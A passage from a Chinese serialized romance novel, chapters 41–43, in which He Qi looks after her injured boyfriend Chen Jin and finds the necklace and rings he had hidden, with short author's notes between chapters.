事不过三,陈津光这小半天的各种举动就已经处处透着反常,何漆在这事儿上没打算由着他胡来,一把推开了陈津,问:“你怎么了?” 陈津依旧用那种比平日阴沉的眼神看她,像是随时都会重新压过来,何漆便质问他第二次:“你到底怎么了?” 陈津胸膛剧烈起伏了一次,他自己取下围裙,回到餐桌的另一边,手扶在椅背的最上端,餐桌都仿佛变成了他们的谈判桌,他道:“你确定要我说?” 很好,充满技巧性的开局,用反问来打破对方的心理防线,试图利用信息差占据高地位置。 何漆蹙起眉:“你干脆点说。” 她看见陈津的神情很迟疑,似乎在给自己做什么心理准备,好不容易张了口,还来不及发出半个音节,他口袋里的电话响了。 一颗七上八下的心瞬间坠落,但没碎,不是因为安全了,而是因为还在半空中,没有真正落地。 眼前一幕太过似曾相识,何漆盯着他拿出手机查看来电号码,在接与不接中犹豫不决,踌躇得完全不像他。 不过这一回,何漆没有庆幸这支犹如上帝之手般不合时宜又恰到好处的来电,她态度强硬地问:“可以不接吗?” 陈津垂眼看着屏幕上八位数的短号,显而易见的骚扰电话,他听见了何漆的声音,手指从接通健上空挪开,按下挂断键。 悠扬的铃声瞬间消失了,一切突然安静得可怕。 “你说吧。”何漆决绝道。 陈津却迟迟没有抬起头来与她对视,仿佛还在挣扎思量,目光黏在灰暗下来的手机屏幕上。 何漆耐心等着,指尖泛起冰凉,不自觉握进掌心,片刻,她终于听见陈津平淡道:“酒店门口,我看见方翊了。” “扑通”一声,心脏总算落地。 何漆在陈津看向她前视线下移了一段,面上的表情近乎空白,然而空白有很多种解读,全然不知的茫然,秘辛暴露的震惊,或是不知所措的慌张。 “滋啦——” 何漆忽然把面前的椅子拉开,坐下后拿起了面前的筷子,泰然自若地表示那不是什么大不了的事: “李家佳和我住一块,她表弟的房间在隔壁,也叫了自己的朋友一起吧。” “这样。”陈津轻应了一声,似乎自己刚刚真就是随口一提,似乎那些藏在话音之外的暗流涌动不曾存在过 。 他甚至隐隐对这答案有些满意似的,坐下来给何漆盛了碗汤。 “我初八回去上班,最近有没有想去的地方?” 何漆接过汤碗,意识到陈津已经把上个话题翻篇了,摇了摇头说:“我有几篇稿子要改,费脑,出去玩更累。” “也好。”陈津若有所思道,“待在家里也好。”- 陈津的异常并没有随着那顿气氛怪异的午饭结束,反而一直持续到了他复工之后。 何漆早上偶尔睡醒,迷迷糊糊地一抬眼,就会看到陈津侧躺在她身边,用手臂枕着脑袋,一声不吭地盯着她,没人知道他醒了多久又看了多久。 好几次何漆都被他吓到,缓过劲来后捂着半边脸无语地去拿手机,发现陈津再不出门就要迟到了,连喊带骂地去踹他,他才堪堪回魂似的,慢吞吞地起床。 上班前闹幺蛾子就算了,做个饭也不安生,好好切菜都能把手指划道口子,害得何漆翻出家里的医药箱给他涂碘伏,口子不深,但何漆也不想再让他做饭,连着点了好几天的外卖对付。 这么一顿折腾下来,何漆不得不盯着点陈津,看看他究竟是怎么一回事。 她工作地点有时在书房,有时在客厅,只要稍微分点眼神,就能看到陈津鬼魂似的飘过,一副心事重重的样子。 有回何漆实在忍无可忍,叫住了经过她身边第四次的陈津,用电容笔碰了碰自己的下巴,不确定地问:“你……是工作上出什么问题了?” 陈津站住脚,像是疑惑她为什么会这么问,认真思考后摇头道:“没有,怎么了?” “你最近看起来有点……”何漆也不知道该怎么形容他的情况,想了想说,“呃,心不在焉?” “有吗?”陈津反问。 何漆看他本人毫无察觉,只好不再纠结:“好吧。” 她把头转回来,将这问题放到工作之后,毕竟每个人都会有状态不好的时候,也许是她想多了—— 才怪。 接到陈津同事打来的电话时,何漆面无表情地想,让这混蛋给混过去了。 她手机的扬声器里还不断传来男同事急促的声音:“您好,请问是陈津的女朋友吗?陈津今天在公司下楼的时候不小心踩空了,现在我们在医院,医生说是手肘轻微骨裂,得打石膏……” “喂?嫂子?你在听吗?”—— 作者有话说:感谢小天使们的霸王票和营养液[彩虹屁]《 》 40-50 第41章 何漆打车赶到医院,火急火燎地找到骨科科室时,陈津已经打完石膏,左手用绷带吊在胸前,没什么表情地和同事坐在候诊室里。 陪着陈津来医院的那名同事并不认识何漆,但在看到陈津突然站起身,目光转向一个朝他们走来的女人后,立马意识到什么,跟着起立,拘谨地朝女人伸出手:“那个,你好,我叫徐启航,是陈工的同事。” 何漆忙和他握了半掌:“我叫何漆,真是麻烦你了。” 徐启航比陈津就小了没几个月,但作为陈津的组员,总爱跟几个刚毕业的实习生一起叫他“津哥”,俨然是很信服陈津的样子。 他这会儿挠了挠头,不好意思道:“没什么麻烦的,我还正大光明翘班呢。” 何漆冲他微笑地点了点头,等他话落,便将视线放到一言不发的陈津脸上,像是觉得他难以理喻般气笑了一声:“下个楼梯也能把手摔骨裂?” 陈津紧绷着表情,察言观色似的看何漆一眼,解释:“没注意。” 徐启航两眼跟打双闪一样眨,注意到自家组长脸上出现了一种近似气虚的神情,赶紧插话调节氛围:“嫂子,那个药什么的都在袋子里,医生说两周后回来复查就行,没别的事儿我就先回家了?” “正好六点多了,一起吃个饭吧。”何漆留他。 徐启航当然知道她这是请吃饭答谢的意思,连连摆手:“不用不用。” 陈津在一旁淡淡地妇唱夫随:“一起吃吧。” 徐启航还是有点难为情。 何漆问:“家里有人等你吃饭?” 徐启航答:“这倒是没有。” “那就一起。”何漆拍板,又问,“你们开谁的车过来的?” 徐启航赶紧拿出口袋里的车钥匙:“开的津哥的车,停在地库,也是让我过了把保时捷的瘾。” 何漆笑问:“那你接着开?” 徐启航哪敢,把车钥匙递到何漆手里:“别嫂子,开这个太吓人了,我一路手心都是汗。” 何漆手指上挂住车钥匙,不知道的还以为她是十年老司机,妥当安排起两人:“我先去把车开到南门,你们坐一会儿,收到消息再下来。” 没人有异议。 等何漆转身走远,徐启航看着她的背影,默默跟陈津感慨:“津哥,家里事都是嫂子做主吧?” 陈津想了想,觉得“做主”这个词太专横独断了,他们应该算有商有量,但一时又想不出可以反驳的例子,于是说:“算是吧,这要怎么看?” “怎么看?”徐启航也被问住了,“呃,比方说,谁管钱?” 这个陈津可以明确回答:“现在钱都在她那里。” 徐启航沉默地点了点头,拍拍陈津的左臂,对他竖了个大拇指:“做得好津哥,好男人都这样。” 原来是这样。 陈津在他的赞扬中反思,那该早点把钱都给她的。 两人就“当家作主”的话题聊了没两句,陈津就收到何漆让他们两个去门口的消息。 徐启航显然还是有点紧张,怕自己会在饭桌上说错话,问陈津有没有不能聊的话题。 “别问结婚。”陈津回答,“我们是不婚主义。” 何漆开着车在南门等了一小会儿,很快就见两人走过来。 陈津只伤了一只左手,右手还灵活自如,没柔弱到需要别人帮开车门的地步,自己上了副驾,徐启航则自觉地坐上后排。 起步之前,何漆从后视镜里看了眼端坐的徐启航,提醒他:“安全带。” 徐启航连“哦”了两声,系好安全带后偷看了一眼前排,发现陈津默默握紧了车门上的扶手。 他还以为是陈津害怕转弯的时候没法保持身体平衡,对左手造成二次伤害。 岂料何漆抿着一点笑坦白:“其实这是我考完驾照后第一次开车。” 徐启航闻言跟着握紧了车门扶手,陈津一本正经地安慰:“没事,她考驾照是一次过的。” 反正方向盘已经在何漆手里,她带着点新鲜和兴奋,驾驶着车辆平稳上路了。 三人最终选择了街边的一家炒菜馆,虽然环境不算那么清雅,但胜在菜品家常且地道,很多本地人吃酒席就会选在这样的馆子,价格也说不上多实惠。 何漆把车停在路边划分的停车位里,第一次的实操十分顺利,陈津和徐启航下车前已经完全把扶手松开了。 进了餐馆,服务员领着他们到大厅的空桌,徐启航不敢让他们破费,点了碗蔬菜后就没了声响,何漆则一边拆碗碟上的塑料膜,一边看菜单。 手上这一套碗筷刚拆干净,她便换到陈津面前,把他还没拆的那套餐具拿过来,反正他手伤了一只,估计是不方便。 陈津像是没料到她的举动,目光追随了她的手指好一阵。 徐启航也注意到了两人的小动作,趁着何漆还在点菜,凑到陈津身边小声打趣:“嫂子对你真好,还给你拆碗筷。” 陈津的目光垂到面前雪白的骨碟上,轻轻“嗯”了一声。 何漆点菜到一半,突然想起什么,抬头问两人:“对了,医生有没有说要忌口?” 徐启航一拍脑门,连忙道:“还是嫂子想得周到,我都给忘了,医生说不要碰酒精和辛辣。” 何漆明了,放心地继续点菜。 徐启航又开始用一种“嫂子可真关心你”的眼神艳羡陈津,陈津则看了一眼自己打着石膏的左臂。 徐启航不再害羞之后其实还挺健谈,饭桌上一直在主动开启话题,但聊得也有分寸,点到为止。 三人都不喝酒,一顿饭吃起来也就花了半个小时,何漆结完账,徐启航不让他们送,自己打车回了家。 “走吧。”何漆喝掉最后一口饮料,催促一旁的陈津起身。 陈津站起来,绕开椅子时像被绊了一跤,身体重心不稳地晃了一下,何漆被他吓到,眼疾手快地缠住他的右臂。 还好是虚惊一场,陈津站稳后,何漆简直不知道他吃错了什么药:“不然你明天去检查一下小脑?平衡感和四肢协调好像真出问题了。” 陈津面不改色:“是地有点滑。” 何漆皱眉,低下头,真用鞋子摩擦了一下瓷砖,只感觉到了一点黏:“有吗?” 陈津没再和她探讨,顺势牵住她紧紧扶着自己右臂的手:“走了,回家。” 四肢受伤了,但伤的是左手,对于惯用手为右手的人来说,这消息大概是不幸中的万幸。 起码陈津到现在还没觉得有什么特别不方便的地方,就连洗澡,只要罩上医生推荐的专业防水套,也能够轻松解决。 何漆在陈津的房间里等了会儿,直到浴室门打开,陈津穿好睡裤走过来,她便拿着他的睡衣外套站起身。 先摆弄他那只打着石膏的左臂,小心地放进衣服袖管里,剩下的就简单了,何漆替他一粒粒扣好纽扣,接着抬头平静通知:“这两天我们分开睡。” “为什么?”陈津问。 “我睡觉会压到你的手。” “轻微骨裂而已。”陈津表示不同意,“压到就压到。” “万一呢。”何漆也不赞同他,“分开睡保险一点。” “你睡在我右边就行了。”陈津强硬地拉住了何漆的手,提出解决方案。 他的手掌很热,还带着点刚洗完澡的水汽,何漆的手被他包裹在里面,手背不断地被他的指腹摩挲着。 何漆已经很困了,一时间也不想再跟他掰扯,妥协道:“行吧行吧。” 她甚至懒得再回自己的房间,转身钻进了陈津的床上,平整的被子被蠕动出一个人形鼓包,陈津看着这一幕,内心升腾一种熟悉的满足与充盈。 他到何漆的左侧躺下,正要熄灯时,听见她含糊的提醒:“你自己不要压到手了,明天早上记得叫我,我送你上班。” 陈津应了一声,侧身将房间里所有灯光熄灭,黑暗中,何漆平稳的呼吸在耳边清晰可闻。 兴许是心里一直惦记着的缘故,何漆这一觉睡得格外老实,早上被闹铃吵醒,发现自己不过翻了个身,背对着陈津的方向睡着。 两人起床洗漱,何漆按照自己昨晚说的开车送陈津去上班。 他这辆车平时都走地库,所以也就同样开车来的同事会偶尔打趣他,不过今天何漆送他,自然是要开到公司大楼门口。 只停靠短短半分钟时间,不知有多少人侧目而视,然而比这更加瞩目的,是从副驾下来吊着一只手臂的陈津。 他倒不觉得不自然,手搭在降到底的车窗上,耐心叮嘱何漆:“回去慢慢开,路上小心。” 何漆有些受不住几个路人往车窗里瞄的视线,比了个ok手势,关上车窗赶紧走了。 陈津目送车子离开,淡然地接受各路视线的洗礼,进电梯时还有人顾及他打着石膏的手臂,善意地给他空出相较而言宽大的位置。 刚到工位,徐启航就拎着杯咖啡狗腿地来给他上供:“津哥,昨天谢谢你和嫂子请我吃饭。” 组里另一名同事冲咖啡回来,听见了,加入聊天:“诶呦,还是我们小徐福气好,早退完还有组长亲自开小灶。” 他们关系都不错,说话有时候没轻重,但都知道是开玩笑,徐启航立刻笑着答:“那是,我还见着津哥传说中的女朋友了,就一个词可以形容,天作之合。” 组里工龄长一些的都对何漆有印象,前些年的年会何漆作为陈津家属出席过,俩人坐一块那叫一个养眼,后来好长一段时间都有人感慨他俩的般配。 眼见几个跳槽来不久的正要八卦,陈津轻咳两声打断:“过二十分钟会议室。” 刚要聚众的一帮人便唉声叹气地散开。 陈津整理完待会儿开会要用的资料,扭头看见离他最近的徐启航正在摸鱼,于是将座椅滑到他旁边,用食指敲了敲他的桌面:“问你个问题。” 徐启航被吓一跳,关了桌面上的游戏,以为陈津要聊工作的事,正色道:“津哥你说。” 陈津思考片刻,说:“两个人在一起久了,如果感情淡了该怎么办?” “哈?”徐启航被这感情问题打得措手不及,用古怪的眼神看陈津。 陈津依旧严肃:“我和我女朋友工作都比较忙,会有这种可能。” “这也不是大问题吧?”徐启航迟疑地回答。 陈津眼神像是清亮了一瞬,等着他继续说下去。 “就比如说我们父母那辈,你爸妈,大多数不都是有感情结了婚,但十几二十年下来,感情如初的能有多少?不就平稳过日子嘛。” 陈津不太理解地蹙眉,举了个反例:“我父母一直都没感情。” “你鬼上身了?”徐启航不太懂陈津的理解能力怎么了,惊悚地看他,“我就是随口举个例子,再说你跟嫂子在一起那么久,你对她都挺好的话,也没必要担心这个吧,感情淡点就淡点,除非……” “什么?”陈津追问。 “除非嫂子有别的喜欢的人了。”徐启航摸着下巴,自言自语地琢磨起来,“不过你应该不用太担心吧,毕竟你这脸、你这能力、你这家庭条件摆在这儿了,嘶,不过也不好说,毕竟嫂子这么优秀,有别的好男人追求也不稀奇……” “砰。” 陈津拍桌打断他,脸色难看:“什么时候小三也配叫好男人了?不该问你,连女朋友都没有,懂什么。” 说完,他果断地滑回了自己的工位。 徐启航很茫然,受伤的人都这么阴晴不定的吗? 他觉得有必要为自己正名,一脚滑到陈津工位边:“开玩笑,我只是现在空窗而已,曾经也是有过好几段感情的好吗?再说我刚刚就是随便猜猜,你别这么动气,而且就算嫂子真移情别恋了,你再讨她欢心不就得了。” “滥情。”陈津不客气地评价他的感情经历。 但心里却考虑起他的话,手指心不在焉地在键盘上敲了两下,又张口:“要怎么……” 他话没说完,一位出了名嗓门大的同事边进过道边嚷嚷:“我在门口听别人说我们这层有小白脸傍上富婆了?开个保时捷送人,还说玩得特别花,手都弄折了?谁信口胡说呢,我们这层哪有单身长得帅……” 那人恰巧往陈津工位的方向看过来,视线扫到陈津的脸与吊起的手臂,瞬间噤声,嗫嚅半天:“陈……陈工。” 陈津没半点波澜,甚至出于礼貌地朝他点了下头。 组里先前调侃徐启航那人又乐出声来:“我说老吴,下次打听清楚点呗,人小两口正经情侣,不劳您操心了嗷。”—— 作者有话说:感谢小天使们的营养液[哈哈大笑] 徐启航:哥,嫂子对你真好。 陈津:对。 徐启航:哥,你怕不怕嫂子对别人也这么好。 陈津:滚。 徐启航:哥,你急什么,我这里有招让嫂子对你最好。 陈津:…仔细说说。 第42章 陈津手伤着,何漆就每天早起开车,在他公司大楼前招摇过市一圈,把人放下再自己开回家。 他下班经常很晚,何漆就借此练习开夜路,有回都将近十一点,她到公司楼下,看到陈津的一名同事似乎还没打着回家的车,问起来差不多顺路,他们便主动把人一起送了回去。 不料翌日,陈津与何漆的模范情侣美名就又在那名同事的道谢 里流传起来。 除却陈津,徐燕最近也常给何漆打电话,但总是只说些不痛不痒的话,也问不出到底怎么了。 反而是何漆,前几次差点忘了自己在她那儿还是个坐办公室的人,险些说漏嘴,真不敢想那会引起多大的风浪。 年前的稿费陆陆续续打进了银行卡,何漆看着账户里上涨的数字更是干劲满满,她的写作道路顺畅到几乎令她自己都匪夷所思。 有时专注好几个小时构思故事,对着电脑打字时被消息提示音打扰,她从心流状态里抽离,恍惚间还觉得一切都像做梦—— 义无反顾地辞了职,原本以为会守着存款过段无所事事的日子,结果就因为李家佳的随口一句话,彻底点燃了她心里若隐若现的一把火。 其实早已做好了摔得鼻青脸肿的准备,还希望梦碎的现实能让自己清醒点,可偏偏一切就这么顺理成章地发生了,她又能养活自己了。 感觉不错。何漆想。 正月才过了小半,上班族先后复工,李家佳和李乐一那对无业游民、学生党的表姐弟组合还在享受春节假期,叫上了何漆这位自由职业者,一起连着语音在线上打斗地主。 李家佳是打牌的个中高手,只要手里的牌看得过去就敢叫地主,艺高人胆大,几把下来确实赢了何漆和李乐一不少点数。 他们说好一点数就算五块钱,做点彩头娱乐一下,两人目前不过输了李家佳一顿饭钱。 新开一局,刚把牌发下来,李乐一那头就突然爆发出怪笑,惹得李家佳一直隔空骂他,给他头像扔砖头。 “你们惨了。”李乐一猖狂道,“这把我明牌用托管打都能赢!” 何漆知道他大概抓到了好牌,反观自己这儿的就有点不能看,对子倒是多,但数小不连贯,唯一的炸弹还是四个三。 李乐一抢地主时用了超级加倍,拿到地主帽子后还嚣张地喊道:“明牌!” 他那手牌出现在屏幕右上方后,何漆都看笑了,王炸、点数大的两个炸弹,还能有副顺子,确实没得输。 “算我请你们李家姐弟吃饭了。”何漆摇头道,“这还怎么赢?” 李乐一持续地发出小人得志的笑声,出一次牌就被李家佳骂一次,明明是一副无需思考怎么打都能赢的牌,偏要得瑟地慢吞吞出牌,好像很苦恼在思考的样子。 王炸另加一个炸弹,这局的倍数已经被翻得很高。 何漆都有些生无可恋,看到李乐一还有五张牌,只剩下个炸弹和一张单牌。 “我去,服了,我要上厕所。”李乐一胜利在望,突发尿急,怀疑是刚刚喝了好几瓶饮料又笑得太夸张了。 李家佳闻言刻意不出牌,不怀好意地拖他时间:“那你去吧,这把不算。” “帮我打一下,快点,赢钱出去吃饭。”李乐一没理她,似乎在跟身边的人说话,不知把手机给了谁,语音里彻底没了他的声音。 就这五张牌,托管给机器人也能赢,李家佳彻底死心,点了“过”。 何漆没牌可出,也过了。 牌权交给地主,而接管了李乐一手机的人似乎对这明朗的形势也有自己的理解,好一会儿没出牌。 紧接着,预料中带着爆炸音效的炸弹没有出现。 “三带一。”机械男音报出了牌面。 李家佳被这位斗地主界冉冉升起的新星搞蒙了,过了两秒才爆发出惊天动地的笑声。 “我靠我靠我靠!!快快何漆!你手里是不是有个炸弹,快炸他!谢谢你,这位好人!” 何漆也有些不可思议地笑起来,牌权到手里,马上把炸弹扔了出去。 倍数再升,场面却两极反转。 地主手里只剩一张牌,点数也不差,奈何另外两人全是密密麻麻的小对子,何漆的牌更干净,李家佳也有意让她出,几个轮回下来,手里只剩最后一副对子。 李乐一这位托管人不知怎么搞的,刚刚出三带一时还慎之又慎,现在点“过”倒没有半分犹豫。 李乐一的声音又远远进入了语音里:“还没打完?又新开了一局吧?你会打吗别给我打输了。” 何漆听着这一无所知的天真嗓音,想象接下来会发生的画面,忍俊不禁地笑出声,毫不留情地出牌。 “对六,我打完啦。” 随着胜利音乐的播放,何漆在李家佳的狂笑中听见李乐一大概拿起了手机,略带不解地问面带微笑的接管者:“你笑什么?” 半秒后,他看清了手机屏幕。 “我靠!!我靠!!疯……你……我杀了你!我真的要杀了你!!” 何漆笑得撑住了沙发,正也要跟着李家佳感谢那位不知姓名的拆弹专家—— “我不会打。” 另一道含笑的青年嗓音极轻地响在通话里,淹没在李家佳的欢呼和李乐一的怒吼中。 李家佳耳边估计全是自己粗放的笑声,听不出来或者根本没留意那是谁的声音,还在一个劲地夸赞,李乐一也不知道面前人那么小一句辩解都能传进话筒。 只有何漆已经默默地止住了笑容。 心里却也没有别的念头,只是想方翊跟李乐一关系确实不错,放了假就成天黏在一起玩。 那局倍数翻得太夸张,李乐一算是把底裤都给输光了,再怎么补救都没用,到最后三人结束时,成了李乐一一家输,李家佳跟何漆都多多少少赢了点。 李乐一按照约定好的在群里发了两个小红包,何漆原本不想领,本就是玩玩的,但还是被他俩催着收下了。 一看时间已经下午四点,何漆放空地坐了一会儿,不知为什么,给陈津去了一支电话。 “喂,怎么了?”陈津没在开会,接得挺快。 “问问你今天几点下班。”陈津最近上下班都靠她接送,所以会提前报备,实在忙忘了何漆才主动问他。 “正要跟你说,今天能准时。”陈津答完,听见何漆应了一声,觉得奇怪,“打电话就是问这个?” 何漆摸了摸脖子,四下张望,想找点别的事说,还真叫她记起来一件:“哦对了,家里饮料零食都没了,我记得你上次说你小姨给你了一张购物卡,放在哪?我买完东西正好来接你。” “我床头柜的抽……”陈津说到一半倏地住了嘴,语速骤然加快几分,“我回家再找,我会去买的,好吗?” 何漆皱了皱眉,她听清了陈津的前半句话,也察觉他后面语气有点异样,但不动声色道:“行,那我先来接你。” “好。”陈津重复,“现在来也行,路上会堵车,我今天可以早点下班。” 何漆挂断电话,起身,径直走进了陈津的房间。 陈津的房间她确实不常进,所以对上回发烧在他床头柜的抽屉里找社保卡的记忆尤为深刻,没记错的话是第二层的抽屉,有个专门装卡片的盒子。 何漆一把拉开。 整齐罗列在盒子里的卡片随着惯性晃荡了一下,碰撞出细小的声响。 然而在那卡片盒之外,抽屉里赫然多出了一大一小两个红盒子。 何漆的心脏毫无征兆地抽了一下,她瞬间了然,这就是陈津语焉不详,遮掩着不想让她看到的原因。 她伸手将两个盒子拿出来,侧身放在床上。 附加在物品上的记忆仍历历在目,但仿佛隔着一层透明的展览玻璃,何漆不再感受到愤怒,或者说那情绪太过复杂,堵在心口,让她尝不出具体的滋味。 她甚至还有些好奇,好奇另一个盒子里装着的到底是什么,她一直没能知道。 于是,何漆轻轻揭开首饰盒,盖子内部印着鎏金的品牌名,黑色海绵与外部的暗红形成强烈对比,刺激着人的眼球。 而在盒子的正中央,一条双饼满钻的项链正静静地躺在那儿。 何漆其实不常戴首饰,但她以前很喜欢买这些精致的小物件,遇到价格合适并且心动的,就会毫不犹豫收入囊中,刚买的那段时间必然天天戴在身上,但时间久了又觉得太累赘,对舒适度也有影响,确实是美丽废物。 直到越来越多的首饰在她的梳妆台上吃灰,何漆慢慢就不再购买了,偶尔出门要搭配服装时还愿意戴一戴,但一到家又会匆匆取下 。 她用指腹小心地摸了摸项链上的纹路。 是很漂亮的项链,如果当时陈津在一念之差下选了它作为何漆的生日礼物,那它就会变成何漆所有的首饰里最暴殄天物的一件。 可惜,终究是一念之差。 她默默将项链的首饰盒闭上,放回抽屉里,转而看向另一个。 何漆没有立刻将它打开,而是拿起来掂量了一下份量,拇指摩挲过盒子的边缘,不锋利,但皮质有点硬。 她把左手平放在被子上,右手拿着盒子举到一个高度,正好悬在左手的上方。 原本想扔下去,但还是怕痛,最终只是松开手,让那盒子自由降落,砸在左手上,不痛不痒。 测试不出来。 何漆回忆着那天自己把这盒子扔出去的力道,正正好砸在了他脸上,陈津那张脸基本是皮贴骨。 所以是砸在哪处的骨头来着?眉骨、鼻梁、颧骨还是太阳穴周围? 她那时情绪太激动,可能压根没注意。 总归是疼的吧。 何漆琢磨着,把手里的盒子也打开了。 两枚对戒还摆放在里面,她摘下圈口较小的那枚,往左手的中指上套,竟然还有些松。 陈津显然无从得知她手指精准的圈口数值,买的时候全凭感觉选了大小,这会儿挂在何漆指根的位置,冰凉的金属面贴着她的皮肤,外观上看起来基本合适,但只有何漆自己清楚,只要她随便一甩手,这戒指就得飞出去。 她把左手抬起来,放在阳光下左右翻着手掌看了片刻。 这种用于婚恋的戒指设计确实和她以前图好看买的那些装饰戒指不太一样,戴上后有种说不出的沉稳,无需言明,只要看上一眼,似乎所有人就能懂得,还有另一双手会与她交握,配套的戒指会亲密地抵在一起,不容他人介入。 何漆盯着戒指上反射着阳光的镶钻,突然思考,在她和陈津并没有婚姻实质的前提下,自己是否能接受被人误以为他们已婚。 放在从前,何漆一定会发自内心地高喊无法接受,她就是一根筋的倔强,形式和结果一样都不准糊弄。 但此刻,她却没依赖思想惯性,罕见地认真衡量起来,为了更加轻松地达成真正的目标,变通形式躲掉部分难缠的坎坷,可能这才是成熟大人的选择吧? 她没有深入地假设下去,摘了戒指,把东西全部放回原位,最后从卡片盒里找出了那张购物卡。 起码她现在还不到需要直面那种选择的时候,她现在要做的只是去接陈津下班。 五点半,何漆准时出现在了陈津公司的楼下。 同一时间,陈津从一楼大厅内走出来,看到了停靠着的卡宴,他加快脚步,垂在身侧的右手还提着什么东西,很快上了车。 “热可可。”陈津在副驾把手里的东西递给何漆,“项目快结束了,请同事的下午茶。” 何漆接过来,插上吸管喝了一口,可可醇苦的味道在口腔中弥漫开来。 她暂且把饮料放在中控台,正打算帮陈津系上安全带,却看到他还保持着给她递饮料时的侧身动作,目光落在后排。 那里放着两只装满零食饮料的购物袋。 何漆便缓缓停下动作,安静抬头等着,观察陈津重新对上她视线时微微放大的瞳孔。 她刻意不做任何表情,存心让陈津猜不到她心里是怎么想的。 死寂三秒之后,何漆放在中控台上的手突然被抓住手腕,陈津搭在她皮肤上的手指用力到轻颤,他的手背渐渐鼓起脉络清晰的青筋,然而何漆却没有感受到多大的握力。 他的力气没有作用在她的手上,像是在和自己对抗般,绷起了整个手臂。 一次艰难的吞咽后,陈津终于开口,声音低沉地问:“你看到了?”—— 作者有话说:感谢小天使的营养液~ 今天初五迎财神,搞了个小抽奖,也是做点彩头娱乐一下,23号晚上开奖,看到这章的小天使订阅率应该都够,和牛堡祝大家新年发大财[垂耳兔头] 第43章 看到什么? 何漆并没有这样明知故问,她毫无波澜地点了点头,承认自己在抽屉里找到了购物卡,自然也看到了被他收起来的两只首饰盒。 手腕猝然被抓得紧了些,何漆盯着陈津显出慌乱的眼睛,还是没有说话。 她不免想看看,既然他试图对她隐瞒的事情已经被揭穿,他到底会说什么做什么。 车内的寂静对陈津来说已经冷到了极点,他呼吸都有些不畅,窒息的记忆就在眼前,甚至要再一次上演。 他脑中反反复复的只有一句话:没有机会了。 绝对不能再来一次了。 他在溺水的边缘,冰冷的湖水就要没过内心的鼻腔,而何漆却只感到陈津将自己握得越来越用力,像抓住沙滩上的一把沙子不肯让它流逝,就算是徒劳也要尝试。 她听见他的吸气声带着难以遏制的轻颤:“我会扔掉的,回去我就扔了,好吗?” 何漆看着他的面容渐渐失去血色。 明明方才上车时还是轻松愉悦的样子,因为快要结束手头的项目,买了下午茶激励组员,又特意为她多点了一杯热可可。 当个伤员也能当得意气风发。 然而才几分钟过去,他那种游刃有余的气势便在她面前碎了个干净,神情和语气几乎要低到尘埃里。 为着她不明确的态度,他的情绪就到了崩溃的边缘。 何漆蹙了蹙眉,一时觉得何必这样,有些后悔自己刚刚的决定,正要开口。 陈津抢在之前喊她的名字:“何漆。” 单薄又沉重,宛如最后的哀求。 何漆的心口闷痛了一下,她艰难地将自己被他禁锢住的手腕翻转过来,用指尖尽力去够他的手背。 “没事。”她轻念了一声。 一道无罪释放的判决,陈津的力道总算有所松动,何漆把手往下移,握住他,用力捏了捏。 “没事。”仿佛还没想好该说什么,何漆又重复了一遍这两个字,随后把头转正,直视前方的车窗。 “我……不是……”何漆断断续续地吐了两个词,仍旧不知道要说什么。 沉默了一会儿,她重新开口:“反正不用扔,那么贵,就先放那儿吧……我现在也没觉得怎么样,你不用……” 最后的用词何漆斟酌了会儿,也讲不清合不合适,还是从嘴里突兀地冒了出来:“怕。” 你不用怕。 何漆感觉有点怪异,意识到陈津还看着自己,下意识想松开手摸脸。 陈津却抓紧了她,哑声道:“好。” 等了有一会儿,车内的氛围不再那么让人别扭,何漆小声提醒:“你右手握着不方便,先放开吧,我要开车了。” “好。”陈津依旧只有这个字,说着缓缓把手松开,脸上还留有怔忡的神情。 何漆认为自己算闯了祸,有意调节陈津的情绪,路上主动问:“晚饭吃什么?” “你有想吃的吗?”陈津说。 何漆其实早就想好了,就等他这句话,立马回答:“温泉肥牛拌饭,荣料家的。” 陈津轻笑着拿出手机:“好,我点。” 车停进地库,后座两大袋零食,何漆跟陈津一人一袋拎回家,晚饭没一会儿也送到了。 夜已经深了,何漆洗完澡在厨房的冰箱里整理饮料,给自己开了瓶果汁,边喝边收纳。 厨房门口传来脚步声,她 回头看了眼,是洗漱完的陈津靠在墙边看她,问:“要帮忙吗?” 何漆把一口苹果汁含在嘴里,一侧的腮帮子鼓起来一点,等酸甜的液体跟她口腔温度差不多时才咽下去,背对着陈津摇了摇头:“你去睡觉吧,我马上就好。” 陈津闻言不打扰她,先回了房间。 花花绿绿的各色小甜水整齐地排列在冰箱里,何漆看着赏心悦目,成就感满满,她把最后一点苹果汁喝完,丢了垃圾,回自己的卫浴刷完牙,再走去陈津的房间。 屋里的大灯已经关了,留一盏床头灯照明,何漆爬上床,看陈津安稳地闭着眼,便跟着关灯躺下。 她最近都背对着陈津睡觉,怕自己不注意会压到他伤着的手,于是采用了最保险的睡姿。 今夜睡意来得格外快,才闭着眼没一会儿,何漆的意识就模糊了,在半梦半醒之间,她忆起什么很重要的事情似的,忽然挣扎着翻了个身。 陈津的右手手臂原本与她的背有一拳的距离,但在翻转之后,何漆整个人便贴住了他的手臂,下巴蹭在他的肩膀。 她感到自己的手指似乎与陈津的手指缠上了,那人还在用指腹抚弄自己的手。 何漆实在太困了,全部的清醒意志都用来张嘴说话,然而嘴巴含含糊糊地张不开,发出的声音近乎哼唧:“陈津。” “嗯?”被她枕着肩的人回应了一声。 “后天要去复查。” 陈津知道何漆这句话近乎属于梦话了,模糊得他分辨了几秒才听出她在说什么,原来是惦记着他的手。 陈津愣了一下,回答:“好。” 何漆的呼吸在他耳边越来越绵长,吹着他的脖颈而过,就在他以为何漆应该彻底熟睡时,她又发出了音调。 “还有……” “什么?”陈津问。 空气安静了片刻,何漆已经意识不到自己在说话,伴随着最后轻如羽毛的一声,她坠入沉沉睡网之中。 “……不要压到陈津。” 心脏在重重跳动,甚至有轻微的震颤,但周围像是裹满了棉花糖,每一下都碾压着柔软的甜蜜。 一片漆黑中,他恍惚觉得自己飘在半空,又仿佛陡然坠入地心,神思失重,缓缓与何漆十指紧扣- 两天后,陈津与何漆一起去医院,检查结果显示陈津恢复得很好,拆了石膏,配了一副支具做过渡,医生又叮嘱了些注意事项和该做的康复训练。 等到陈津的手活动起来再没有不适感,何漆才停止接送的任务,每天早上还能多睡会儿懒觉。 她最近沉迷在回声出版社周刊杂志上的一篇冒险主题的连载儿童小说,还带点探险悬疑,为此把之前的每一期周刊都给订阅了。 长篇区块有好几个作家都在连载,她看得十分起劲,渐渐也萌生了尝试的念头。 然而人各有所长,何漆在这方面就远没有之前那么幸运,陆陆续续写了好几个开篇,按照投稿规则附上故事简介,投到邮箱后无一过了初审。 废稿的字数加起来都快比她写的所有短篇还多,受到不予通过的邮件时还得接受来自李秀兰的冷言冷语。 